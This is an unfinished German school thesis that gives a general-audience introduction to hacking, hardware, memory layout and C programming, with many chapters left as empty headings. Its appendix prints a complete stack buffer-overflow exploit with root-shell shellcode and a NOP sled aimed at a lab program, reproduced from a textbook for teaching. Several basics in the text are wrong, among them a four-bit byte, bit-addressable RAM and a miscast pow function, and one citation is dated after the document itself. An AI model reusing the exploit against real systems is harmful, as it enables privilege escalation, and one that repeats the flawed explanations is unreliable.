Kantonsschule Im Lee

Hacking und Cybersicherheit

Die Schattenseiten der digitalen Welt

Corsin Streit (4a)[1] unter Aufsicht von Thomas Graf[2]

[1]Student, Kantonsschule Im Lee, Winterthur

[2]Fachschaft Informatik, Kantonsschule Im Lee, Winterthur

Winterthur, 23. Dezember 2024

Abstrakt

Das Ziel dieser Arbeit besteht darin, durch Literaturrecherche und selbstständiger Nachforschung einen für die Allgemeinheit verständlichen Überblick über das Thema Hacking und Cybersicherheit zu schaffen. Dazu werden technische Grundlagen und Hacking-Methoden erläutert und anhand von konkreten Beispielen anschaulich dargestellt. Ferner wird auf das Thema Dark Web eingegangen.

Stichworte: Hacking, Cybersicherheit, Hacking-Methoden, Dark Web

Inhaltsverzeichnis

1 Einführung

1.1 Zielsetzung

Hacking ist ein riesiges Themenfeld, dessen tiefgründiges Verständnis Kenntnisse in vielen Bereichen der Computerwissenschaften voraussetzt. Jede Person, die ein Smartphone, Laptop, Tablet, etc. benutzt, ist den Gefahren des Hackings täglich ausgesetzt, doch nur ein kleiner Bruchteil der Benutzer weiss, was bei einer Hacking-Attacke eigentlich passiert und wie die Konsequenzen aussehen können. Ziel dieser Arbeit ist es, einen Überblick über das Thema Hacking und Cybersicherheit in einer Form zu schaffen, die für die Allgemeinheit verständlich ist. Dabei wird bewusst vor Allem auf leicht verständliche Themenbereiche oder solche, die uns im Alltag am Meisten betreffen eingegangen und die Detailgenauigkeit je nach Thema reduziert. Analysen von modernen Hackerangriffen sollen dazu beitragen, ein Verständnis der Implementation der Hacking-Methoden zu erlangen und das Ausmass der Konsequenzen aufzuzeigen. Zuletzt wird auf das Thema Dark Web eingegangen, da dies als Plattform zur Anonymisierung bei vielen Hackerattacken eine Rolle spielt.

1.2 Motivationserklärung

Ich bin grundsätzlich an Computern und dem Programmieren interessiert. Meistens finde ich in meinen durch Sporttrainings ausgefüllten Alltag aber keine Zeit, mich mit dieser Leidenschaft auseinanderzusetzen. Die Maturitätsarbeit schien mir als passende Gelegenheit, mir Wissen in einem computerbezogenen Themengebiet anzueignen. Das Thema Hacking und Cybersicherheit interessiert mich besonders, da ich gerne die Limiten von in diesem Fall Computersystemen teste und ausreize und es ein Themengebiet ist, das kreatives Denken und logische Schlussfolgerungen voraussetzt und fördert.

1.3 Methodik

Es gibt viele verschiedene Methoden, sich mit dem Thema Hacking auseinanderzusetzen. Einsteigern werden oft Videokurse oder Bücher empfohlen, die Themenbereiche, auf die sie einen Fokus setzten, sind aber oft sehr unterschiedlich. Ich habe mich entschieden, meine Arbeit hauptsächlich auf Literatur zu basieren und das Werk “Hacking - The Art of Exploitation” von Jon Erickson als Hauptinformationsquelle zu gebrauchen. Unterstützend arbeite ich mit wissenschaftlichen Arbeiten und weiteren, weniger umfangreichen Büchern. Es fällt mir leichter, Informationen anhand von Geschriebenem zu erarbeiten. Ausserdem ist es bei Büchern tendenziell einfacher einzuschätzen, welches Wissen erwartet werden kann. Das Buch “Hacking - The Art of Exploitation” ist relativ alt (2008), dies passt aber gut zu meiner Zielsetzung, da die Komplexität des Thema seither exponentiell zugenommen hat und ich eine tiefgründige, verständliche Analyse von einfachen Hackerattacken gegenüber einer oberflächlichen Analyse einer komplexen Attacke bevorzuge. Die Themen weisen aber dennoch einen Bezug zur aktuellen Zeit auf.

Sprach-und Gender-Disclaimer

Es finden sich englische Begriffe in dieser Arbeit. Da Computerwissenschaften normalerweise in englischer Sprache praktiziert werden, existieren für einige Begriffe keine passende deutsche Übersetzungen. In diesem Falle wird auf den englischen Begriff zurückgegriffen.
Teilweise wird nur die männliche Form verwendet. Dies hat zwei Gründe: Zum einen ist die überwiegende Mehrheit der Personen, die in diesem Themenfeld arbeiten und gearbeitet haben, männlich, zum anderen ist die Einbeziehung beider Geschlechter layouttechnisch schwierig ansprechend umzusetzen. In den meisten Fällen sind jedoch beide Geschlechter gemeint, es sei denn, es wird explizit darauf hingewiesen.

2 Ursprung und Bedeutung

Der Stereotyp ist schlecht wegzudenken. Schwarzer Kapuzenpulli, abgedunkelter Raum und ein Bildschirm mit kryptografischen Zeichen. Auf dem Computer laufen bösartige Programme, die Schwachstellen von anderen ausnutzen und dabei Unheil anrichten. Die Handlung ist kriminell und bestrafbar. Auch wenn diese stereotypische Beschreibung wohl auf eine sehr kleine Gruppe von Personen zutreffen mag, sieht die Realität bedeutend anders aus. Jon Erickson formulierte folgenden Satz: "Beim Hacken geht es eher darum, das Gesetz zu befolgen als es zu brechen. Das Wesen des Hackens besteht darin, unbeabsichtigte oder übersehene Anwendungen für die Gesetze und Eigenschaften einer gegebenen Situation zu finden und sie dann auf neue und erfinderische Weise anzuwenden, um ein Problem zu lösen - was auch immer es sein mag." *(Erickson, 2008, S. 1, übersetzt mit DeepL)* [3]

2.1 Bedeutung und Urpsrung des Begriffes

Im Grunde genommen ist ein "Hack" nichts mehr als eine "von Innovation, Stil und technischem Können durchdrungene" Lösung zu einem Problem, das nicht einmal einen Bezug zu Computern aufweisen muss. Den Ursprung nahm der Begriff im Modelleisenbahnclub des Massachusetts Institute of Technology (MIT). Aus geschenkten Elektronikbauteilen bauten die Clubmitglieder die Steuerung ihrer Modellzüge. Durch verschiedene Optimierung, Hacks, versuchten sie, diese so elegant wie möglich zu gestalten. Ihr Ziel war nicht das simple Funktionieren. Es war nicht einmal wichtig, dass die Lösung einen grossen Nutzen zeigte. Was zählte, war die technische Eleganz, die hinter der Lösung steckte.
Mit dem Erscheinen erster Computer und der Gründung eines Computerclubs im MIT wurde die Bedeutung auf die technische Welt ausgeweitet. Als Steven Levy 1984 die Leiterprinzipen des Hackings zu einer "Hackerethik" zusammenfasste, formulierte er folgenden Satz: "Du kannst mit Computern Kunst und Schönheit schaffen." [9]

Das Negative, das viele Personen heute mit dem Hacking assoziieren, wurde erst nach und nach dem Bedeutungskonzept hinzugefügt. Nach weiteren Grundsätzen der Hackerethik sollten sich Hacker für freie Informationszugänglichkeit, Dezentralisierung und unlimitierten Zugriff auf alles, was einen etwas über die Welt lehren kann, einsetzen. Mit den gesetzlichen Richtlinien nahmen sie es nicht genau. Die Neugier, Wissensbegierde und allgemein das technische Interesse führte zur Entdeckung und Erkundung neuer "Spielwiesen", was in den 1960er-Jahre zum ersten "modernen" Hack führten. Findige Hacker fanden heraus, dass sich durch das Abspielen einer ganz bestimmten Frequenz das Telefonnetz so manipulieren liess, dass Anrufe nicht verrechnet wurden. Sogar Tech-Legenden wie die späteren Apple-Gründer Steve Jobs und Steve Wozniak beteiligten sich an dem sogenannten Blue-Boxing und verdienten Geld durch das Verkaufen von Frequenzgeneratoren, den Blue-Boxes.
Zeitungsartikel und Filme, insbesondere der 1983 veröffentlichte Titel War Games, trugen in grossem Masse zur heutigen Auffassung des Hackers bei. Ein Hacker ist "jemand, der ohne Erlaubnis in die Computersysteme anderer Leute eindringt, um Informationen herauszufinden oder etwas Illegales zu tun." *(Cambridge University Press, Oktober 2024, übersetzt mit DeepL)* [9, 4]

2.2 Motivation, Ethik und Begriffserklärung

Die Motivationen und Ethiken, die Hacker verfolgen, fallen sehr unterschiedlich aus. Grob kann man sie in zwei Kategorien einteilen: die “Black Hats” (auch “Cracker” genannt) und die “White Hats” (auch “Penetration Tester” genannt).
Black Hat Hacker verfolgen kriminelle Ziele, die (umwelt-)politisch, monetär oder egoistisch motiviert sein können. Oftmals verbreiten sie Malware (Schadsoftware). Dabei ignorieren sie legale und ethische Grundsätze.
Ihre Gegenspieler sind die White Hat Hacker. Diese benutzen dieselben Methoden, arbeiten aber im Rahmen der Gesetze und halten sich an ethische Grundsätze. Ihre Aufgabe ist es, Privatpersonen, Firmen oder ganz allgemein gefährdete Computer vor den Black Hats zu schützen. Um dies zu bewerkstelligen, hacken sie sich nach vorheriger Absprache mit den Besitzer in Computersysteme ein, um mögliche Sicherheitslücken zu finden und zu beheben.
Das Resultat dieses Wettkampfes ist gewinnbringend. “Das Endergebnis dieser Interaktion ist positiv, denn es führt zu intelligenteren Menschen, verbesserter Sicherheit, stabilerer Software, erfinderischen Problemlösungstechniken und sogar zu einer neuen Wirtschaft.” *(Erickson, 2008, S. 4, übersetzt mit DeepL)* [3]
Zwischen den beiden Extremen liegen die Grey Hat Hacker, die zwar oftmals illegal vorgehen, dabei aber keine negativen Absichten verfolgen. Beispielsweise hacken sie sich unberechtigt in ein Firmensystem ein, kommunizieren aber danach die gefunden Schwachstellen. [1, 2]

Ein weiterer oft verwendeter Begriff ist “Script Kiddies”. Dies sind ungeschulte (meist junge) Person ohne tiefgründige Hacking-Kenntnisse, die “von anderen entwickelten Skripts oder Programme für hauptsächlich böswillige Zwecke verwenden” *(Wikipedia, Oktober 2024, übersetzt mit DeepL)*. Nichtsdestotrotz können sie grosse Schäden anrichten. [12]

3 Grundlagen der Informatik

Zum Verständnis des Kapitel Methoden und Techniken sind Grundkenntnisse der Informatik nötig. Diese werden in diesem Kapitel erarbeitet.

3.1 Hardwaretechnische Grundlagen

Ein Computer besteht aus verschiedenen Bestandteilen, die im Zusammenspiel Verarbeitung von Informationen ermöglichen. Folgende Komponenten sind zur Ausführung eines Programms wichtig.

3.1.1 CPU

Die Central Processing Unit (CPU) beschreibt den wichtigsten Prozessor eines Computers. Mithilfe einer komplexen Platinenstruktur führt er, den Anweisungen eines Programms folgend, Berechnungen durch.

Register Wichtig für die Ausführung eines Programms sind Register. Register sind "Speicherbereiche für Daten, auf die der Prozessor besonders schnell zugreifen kann". [11] Sie speichern zum Beispiel den Fortschritt der Ausführung eines Programms. Einige der wichtigsten Register sind folgende:

- **Extended Instruction Pointer (EIP)**: Befehlszeiger für die jetzige Instruktions-Adresse [5]
- **Extended Stack Pointer (ESP)**: Stapelzeiger für die vorherige Adresse [5]
- **Extended Base Pointer (EBP)**: Basiszeiger bei Funktionsaufruf, dient zur Referenzierung lokaler Variablen im Stack [5]
- **Saved Frame Pointer (SFP)**: Gesicherter Basiszeiger für das vorherige Stack Frame, dient zur Wiederherstellung des ursprünglichen Stack-Zustands [5]

Die Bedeutung dieser Funktionen wird im Kapitel Funktionsweise eines Programms genauer erklärt.

3.1.2 RAM (Arbeitsspeicher)

Das Random Access Memory (RAM) ist ein elektronischer Computerspeicher, dessen Daten sehr schnell und in beliebiger Reihenfolge gelesen und geändert werden können. Er wird deshalb für Daten aktuell laufender Programme verwendet. Oft wird ein Vergleich zum menschlichen Kurzzeitgedächtnis hergestellt.

Bit und Binärzahlen Computer sind nur imstande, Nullen (0) und Einsen (1) zu speichern, sie arbeiten also nur mit zwei Zuständen. Ein binary digit (Bit) beschreibt einen einzelnen solchen Zustand. Werden mehrere Bits zur Datenspeicherung verwendet, steigt die Anzahl

möglicher Kombinationen exponentiell auf 2^n (bei $n = Anzahl\ Bits$) Bits. Zahlen werden folgendermassen gespeichert: Die Stelle in der Binärzahl von hinten (also rechts) beginnend dient als Exponent (startend bei null) zur Basis 2. Bei einer 1 wird die Zahl zur Gesamtzahl addiert, bei 0 nicht. Die (dezimale) Zahl 21 zum Beispiel entspricht der Binärzahl 10101, da sie sich durch (von rechts nach links) $1 \times 2^0 + 0 \times 2^1 + 1 \times 2^2 + 0 \times 2^3 + 1 \times 2^4 = 21$ zusammensetzt. Zur Konversion können Online-Rechner wie zum Beispiel `https://www.rapidtables.com/convert/number/` verwendet werden.

Big and Little Endian Byte Order Ein Byte umfasst vier Bits. Zur Ordnung von Bytes existieren zwei Strukturen: Big und Little Endian. Big Endian speichert das wichtigste, also signifikanteste Byte zuerst, während Little Endian dieses zuletzt speichert. Das signifikanteste Byte ist dasjenige, das den grössten Einfluss auf die Gesamtzahl hat, daher normalerweise das am weitesten links stehende.

Speicheradressen Jedes Bit im RAM ist einzeln adressierbar. Heutzutage arbeiten die meisten Computer mit 32bit oder 64bit Systemen. Dies entspricht der Adresslänge der Speicheradressen und limitiert somit die Anzahl adressierbarer Bits. Bei 32bit ist die Ansteuerung von $2^{32} = 4\,294\,967\,296$ Bits möglich, bei 64bit $2^{64} = 18\,446\,744\,073\,709\,551\,616$. In der Praxis wird dies nur selten ausgereizt. Einfachheitshalber erfolgt die Angabe der Speicheradresse normalerweise im hexadezimalen Format (Basis 16). Dazu werden die Zeichen 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E und F verwendet. Ein Hexadezimalzeichen entspricht vier Bits (da $2^4 = 16$), eine 32bit Adresse setzt sich also aus acht Hexadezimalstellen zusammen. Hexadezimalzahlen werden üblicherweise mit dem Präfix "0x" angekündet. Eine 32bit Speicheradresse könnte folgendermassen aussehen: 0xb7ec819b. [10]

3.1.3 HDD/SSD

Speichermedien, wie hauptsächlich Hard Disk Drive (HDD) und Solid-State Drive (SSD), dienen der permanenten Speicherung von Daten, also auch über den Neustart eines Systems hinaus. Ihr Lese- und Schreibzugriff ist langsamer als bei RAM, die Speicherkapazität dafür meist höher. Oft wird ein Vergleich zum menschlichen Langzeitgedächtnis hergestellt.

3.2 Funktionsweise eines Programms

Hacker schreiben Code, nutzen ihn aber auch aus. Ein Verständnis grundlegender Programmierkonzepten ist deshalb notwendig.

3.2.1 Einführung

"Ein Programm ist nichts anderes als eine Reihe von Anweisungen, die in einer bestimmten Sprache geschrieben sind." *(Erickson, 2008, S. 20, übersetzt mit DeepL)* [3] Es ist vergleichbar mit einem Küchenrezept. Genauso wie das Küchenrezept Menschen sagt, was sie tun sollen, sagt ein Programm dem Computer, was er zu tun hat. Im Gegensatz zu Menschen hat ein

Computer aber keinen eigenen Willen und muss sich an die gegebenen Instruktionen halten. In dieser Arbeit liegt der Fokus exemplarisch auf der Programmiersprache C, da damit verbundene Hacking-Methoden beschrieben werden, die grundlegenden Konzepte können aber auf viele Programmiersprachen übertragen werden.

3.2.2 Grundlagen

Ein Programm besteht aus verschiedenen Elementen. Die wichtigsten Elemente werden im Folgenden beschrieben.

Kontrollstrukturen Kontrollstrukturen steuern den Ablauf eines Programms.

If-then-else If-then-else-Strukturen erlauben die Ausführung eines Programmteiles nur unter bestimmten Bedingungen. Falls die Bedingung nicht erfüllt ist, wird der Programmteil übersprungen oder, wenn angegeben, ein alternativer Programmteil ausegführt.

While-Schleifen While-Schleifen wiederholen einen bestimmten Programmteil solange, bis eine Bedingung erfüllt ist.

For-Schleifen For-Schleifen werden normalerweise gebraucht, um einen bestimmten Programmteil eine definierte Anzahl mal zu durchlaufen.

Variablen und Konstanen Variablen und Konstanten speichern Daten. Variablen sind veränderbar, während Konstanten über die Laufzeit eines Programmes unverändert bleiben. Im Folgenden wird einfachheitshalber von Variablen gesprochen, die beschriebenen Eigenschaften sind aber auch auf Konstanten übertragbar.

Datentypen Bei Variablen wird zwischen verschiedenen Datentypen unterschieden. Einige Programmiersprachen sind bei der Handhabung flexibel und erlauben Veränderungen des Datentyps einer Variable, während andere Variablen bestimmte Datentypen zuordnen. Die Liste bietet eine Auflistung der wichtigsten Datentypen:

- **String**: Text (“Hello”, “World”)
- **Int**: Ganzzahl (2, 37)
- **Float**: Gleitkommazahl (3.1415, 2.7182)
- **Boolean**: Wahrheitswert (True, False)
- **Array**: Geordnete Liste mit festem Datentyp ([1, 3, 2, 8])
- **List**: Geordnete Liste mit gemischten Datentypen ([2, “Hello”, True])
- **Dict**: Liste mit Schlüssel-Wert-Paaren ([“Mehl”: 500, “Zucker”: 200, “Zitrone”: False])

Gültigkeitsbereich und Lebensdauer Variablen sind je nach Initialisierung (Erstellung) nur für bestimmte Teile eines Programms zugänglich. Wird eine Variable beispielsweise in einer Funktion initialisiert, existiert sie nur während der Funktionsausführung. Variablen besitzen folgende Gültigkeitsbereiche:

- **Globale Variablen**: Zugänglich vom gesamten Programm
- **Lokale Variablen**: Zugänglichkeit auf Funktion oder Programmteil limitiert
- **Statische Variablen**: Zugänglichkeit auf Funktion limitiert, behalten jedoch Wert bei erneutem Funktionsaufruf

Die verschiedenen Gültigkeitsbereiche führen dazu, dass gleichnamige Variablen mehrere Speicheradressen haben können. In einigen Programmiersprachen müssen Variablen vor der ersten Verwendung initialisiert, also angekündigt, werden.

Arithmetische Operatoren Arithmetische Operatoren werden verwendet, um mathematische Operationen durchzuführen. In C stehen die unten aufgelisteten Operatoren zur Verfügung:

- **Addition (+)**: 2 + 3 = 5
- **Subtraktion (-)**: 5 - 3 = 2
- **Multiplikation (*)**: 5 * 3 = 15
- **Division (/)**: 15 / 3 = 5
- **Modulus (%)**: 15 % 4 = 3 (Rest der Division)
- **Inkrement (++)**: a++ = a + 1
- **Dekrement (–)**: a– = a - 1
- **Exponentiation (pow())**: pow(a, 3) = a^3

Vergleichsoperatoren Vergleichsoperatoren dienen dem Vergleich von Variablen oder Werten. Sie geben jeweils True oder False aus. Folgende Operatoren können verwendet werden:

- **Gleichheit (==)**: 5 == 5 → True
- **Ungleichheit (!=)**: 5 != 3 → True
- **Größer als (>)** : 5 > 3 → True
- **Kleiner als (<)**: 5 < 3 → False
- **Größer oder gleich (>=)**: 5 >= 5 → True
- **Kleiner oder gleich (<=)**: 3 <= 5 → True

Funktionen Funktionen dienen zur Wiederholung bestimmter Programmteile. Sie erlauben einen In- und Output. Der arithmetische Operator pow() ist beispielsweise eine Funktion. Sie erlaubt einen Input *base* und *exponent* und gibt die Potenz der beiden Zahlen zurück. Eine Potenz-Funktion für Ganzzahlen könnte so aussehen:

```
1 int pow(double base, int exponent) {
2   int result = 1; // Startwert für die Multiplikation
3   for (int i = 0; i < exponent; i++) {
4     result *= base; // Multiplikation
5   }
6   return result;
7 }
```

Dateizugriff Dateien, die permanent auf einem Speichermedium gespeichert sind, können gelesen, bearbeitet und ausgeführt werden. Ein Benutzer kann dabei aber nur diejenigen Operationen verwenden, deren Rechte er besitzt. Die Identifikation des Benutzers erfolgt über eine ID (beispielsweise 999).

Pseudo-Zufallszahlen Bei bestimmten Anwendungen, wie zum Beispiel der Simulation eines Wettermodells oder einem Computerspiel, werden Zufallszahlen benötigt. Computer sind nicht in der Lage, zufällige Zahlen zu generieren. Hauptsächlich wird deshalb auf zwei Alternativen zurückgegriffen. Zum einen werden mathematische Operationen verwendet, die zufällig aussehen. Eine bekannte Methode ist beispielsweise das Quadrieren zehnstelliger Dezimalzahlen. Vom Resultat werden die mittleren zehn Ziffern als neue Zufallszahl angesehen. Eine zweite Möglichkeit ist die Verwendung unvorhersehbarer Prozesse. Computerchips analysieren zum Beispiel das atmosphärische Rauschen und generieren daraus eine Zufallszahl. [6]

3.2.3 Abstraktions-Ebenen

Computer können nur mit aus Einsen und Nullen bestehender Maschinensprache umgehen. Da die Programmierung in Maschinensprache aber sehr aufwendig und unintuitiv ist, wurden verschiedene Abstraktions-Ebenen erfunden.

Höhere Programmiersprache (High Level Language) Höhere Programmiersprache liegt nahe bei Englisch und ist (zumindest in Grundzügen) intuitiv verständlich. Normalerweise wird in höherer Programmiersprache programmiert. Das Beispiel der pow() Funktion ist beispielsweise in höherer Programmiersprache angegeben.

Maschinensprache (Machine Language) Maschinensprache besteht nur aus Einsen und Nullen und ist deshalb auch für die meisten professionellen Programmierer unverständlich. Der Code $x = 3 + 5$ könnte so aussehen: b8 05 00 00 00 83 c0 03 (Angabe im hexadezimalen Format)

Assemblersprache (Assembly Language) Assemblersprache kann als die Verbalisierung der Maschinensprache angesehen werden und wird teilweise zur Programmierung verwendet. Dies aber nur sehr systemnahen Anwendungen. Derselbe Code $x = 3+5$ könnte in Assemblersprache so aussehen: mov eax, 5 add eax, 3 Hier werden auch die in Kapitel 3.1.1 erwähnten Register ersichtlich.

Zur Übersetzung zwischen den Abstraktionsebenen dienen der Compiler und Assembler. Der Compiler transformiert höhere Programmiersprache in Maschinensprache, der Assembler Assemblersprache in Maschinensprache.

3.2.4 Ablauf zur Ausführung

Die Ausführung eines Programms folgt folgendem Grundprinzip:

1. Der Code wird kompiliert (oder assembliert) und als Maschinencode im RAM gespeichert.
2. Die Instruktion, zu der das EIP-Register zeigt, wird gelesen.
3. Die Bitlänge der Instruktion wird zum EIP addiert, der EIP zeigt jetzt also zur nächsten Instruktion.
4. Die Instruktion wird ausgeführt.
5. Neustart bei Schritt 2.

3.2.5 Speichersegmentierung in C

Die Datenanordnung im RAM folgt einer bestimmten Struktur. Bei C wird sie in fünf Segmente aufgeteilt.

- **Text Segment**: Speichert Code (in Maschinensprache), unveränderlich
- **Initialized Data**: Speichert initialisierte globale und statische Variablen
- **Uninitialized Data**: Speichert uninitialisierte Variablen
- **Heap Segment**: Kontrollierbar durch den Programmierer, wächst von niedrigen zu hohen Adressen [8]
- **Stack Segment**: Speichert Kontext und lokale Variablen bei Funktionsaufrufen, funktioniert nach LIFO-Prinzip (last-in-first-out): wächst von hohen zu niedrigen Adressen und wird umgekehrt abgearbeitet [8]

Unter dem Stack werden Umgebungsvariablen und Befehlszeilenargumente gespeichert. Umgebungsvariablen enthalten Information zur Umgebung des Systemes und Befehlszeilenargumente sind vom Benutzer beim Programmstart eingegebene Daten.

Stack Frame Ein Stack Frame ist "ein Abschnitt des Stacks, der einem bestimmten Funktionsaufruf gewidmet ist." *(NordVPN, Dezember 2024, übersetzt mit DeepL)*[7] Das Stack Frame

der aufgerufenen Funktion wird oberhalb des Stack Frame der aktuellen Funktion erstellt und enthält alle wichtigen Informationen. Dazu gehören unter Anderem Variablen, der EBP und die Rückkehradresse. Die Rückkehradresse wird benötigt, um an der richtigen Stelle zur ursprünglichen Funktion zurückzukehren.

3.3 Funktionsweise eines Netzwerks

3.3.1 Einführung

3.3.2 OSI-Model

3.3.3 Netzwerkprotokolle

3.3.4 Sockets

4 Methoden und Techniken

4.1 Social Engineering

4.2 Password-Angriffe

4.3 Malware

4.4 Ausnutzung von Sicherheitslücken

4.5 Netzwerkangriffe

5 Analyse bekannter Hackerangriffen

5.1 Russische Einflussnahme auf die Präsidentschaftswahlen (2016)

5.2 Angriff auf das ukrainische Stromnetz (2015)

5.3 WannaCry Ransomware (2017)

6 Das Dark Web

6.1 Grundlagen

6.2 Zugangsmechanismen und Tools

6.3 Sicherheitsrisiken

7 Diskussion

was ist rausgekommen?

8 Ausblick

was hätte man noch machen können?

A Appendix

A Code

A.1 exploit_notesearch.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}
```

Literatur

[1] Jean Abeoussi. *White Hat and Black Hat - The thin line of ethics.edited*. Okt. 2019.

[2] *Black Hat-, White Hat- & Grey Hat-Hacker*. https://www.kaspersky.de/resource-center/definitions/hacker-hat-types.

[3] Jon Erickson. *Hacking: The Art of Exploitation*. 2nd. San Francisco, CA: No Starch Press, 2008. ISBN: 978-1-59327-144-2.

[4] *HACKER | English meaning - Cambridge Dictionary*. https://dictionary.cambridge.org/dictionary/english/hacker. Okt. 2024.

[5] Sharon Lin. *Useful Registers in Assembly. As someone who occasionally… | by Sharon Lin | Medium*. [Online; aufgerufen am 25.12.2024]. Jan. 2019. URL: https://medium.com/@sharonlin/useful-registers-in-assembly-d9a9da22cdd9.

[6] Raúl Rojas. *Mathematik: Wie kommt der Zufall in den PC? - WELT*. [Online; accessed 2024-12-26]. Apr. 2008. URL: https://www.welt.de/wissenschaft/article1924410/Wie-kommt-der-Zufall-in-den-PC.html.

[7] *Stack frame definition – Glossary | NordVPN*. [Online; aufgerufen am 26.12.2024]. Okt. 2023. URL: https://nordvpn.com/de/cybersecurity/glossary/stack-frame/.

[8] *Stack vs Heap Memory - Simple Explanation - YouTube*. [Online; aufgerufen am 26.12.2024]. Nov. 2022. URL: https://www.youtube.com/watch?v=5OJRqkYbK-4&t=28s.

[9] Christian Stöcker. *Kleine Geschichte der Hackerkultur | Cybersicherheit | bpb.de*. https://www.bpb.de/shop/zeitschriften/apuz/cybersicherheit-2023/521304/kleine-geschichte-der-hackerkultur. Mai 2025.

[10] Autoren der Wikimedia-Projekte. *Bit – Wikipedia*. [Online; aufgerufen am 25.12.2024]. URL: https://de.wikipedia.org/wiki/Bit.

[11] Autoren der Wikimedia-Projekte. *Register (Prozessor) – Wikipedia*. [Online; aufgerufen am 25.12.2024]. URL: https://de.wikipedia.org/wiki/Register_(Prozessor).

[12] Autoren der Wikimedia-Projekte. *Script kiddie - Wikipedia*. [Online; aufgerufen am 25.12.2024]. URL: https://en.wikipedia.org/wiki/Script_kiddie.

Abbildungsverzeichnis

Tabellenverzeichnis

Akronyme

Bit binary digit. 8, 9

CPU Central Processing Unit. 8

EBP Extended Base Pointer. 8, 14

EIP Extended Instruction Pointer. 8, 13

ESP Extended Stack Pointer. 8

HDD Hard Disk Drive. 9

MIT Massachusetts Institute of Technology. 6

RAM Random Access Memory. 8, 9

SFP Saved Frame Pointer. 8

SSD Solid-State Drive. 9